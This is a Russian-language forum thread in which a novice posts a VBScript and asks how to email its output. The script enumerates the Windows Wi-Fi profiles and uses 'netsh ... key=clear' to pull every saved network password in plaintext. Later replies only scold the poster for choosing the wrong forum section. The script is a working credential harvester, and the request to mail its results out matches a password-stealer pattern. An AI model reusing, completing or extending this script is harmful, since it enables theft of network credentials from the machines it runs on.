Как объеденить 2 кода на vbs

[setch]

Здравствуйте,здесь есть хорошие специалисты владеющие vbs ?? яновичок в vbs прошу Вас строго не судите.
Написал скрипт на vbs работает как часы но не могу полученные данные которые выводит в небольшое окно выслать на почту. Кто нибудь может подсказать что нужно дописать чтобы эти данные улетели на почту?А вот и сам код которое выводит данные необходимые для отсылки на почту:

FKey = "Key Content"

Set P = CreateObject("WScript.Shell").Exec("cmd /C >nul chcp 437 &netsh wlan show profiles")
Pall = Split(P.StdOut.ReadAll, vbCrLf)

Out = ""
For Each Pone In Pall
    j = InStr(Pone, " : ")
    If j > 0 Then
        ProfName = Mid(Pone, j + 3)
        
        CMD = "cmd /C >nul chcp 437 &netsh wlan show profile name=" + ProfName + " key=clear"
        Set PP = CreateObject("WScript.Shell").Exec(CMD)
        PPall = Split(PP.StdOut.ReadAll, vbCrLf)
        For Each PPone In PPall
            If InStr(PPone, FKey) > 0 Then
                Out = Out + """" + ProfName + """ """ + Mid(PPone, InStr(PPone, " : ") + 3) + """" + vbCrLf
            End If
        Next
    End If
Next

If Out = "" Then
    MsgBox "WLAN не найдены"
    WScript.Quit 2
End If

MsgBox Out

[digitalis]

Стесняюсь спросить: а какое это отношение имеет к разделу C/C++ программирование ? Писатель - не читатель ? Хотя бы прочесть заглавия разделов.

[kvitaliy]

Сообщение от setch

Кто нибудь может подсказать

Подчисть личные сообщения!

[setch]

kvitaliy, почистил все а письмеца ТА не получил так и ....

[setch]

digitalis, ладно затупил и не туда выложил теперь ты что мне утереть нос хочешь А?

[digitalis]

надо соблюдать правила и самому себе нос вытирать.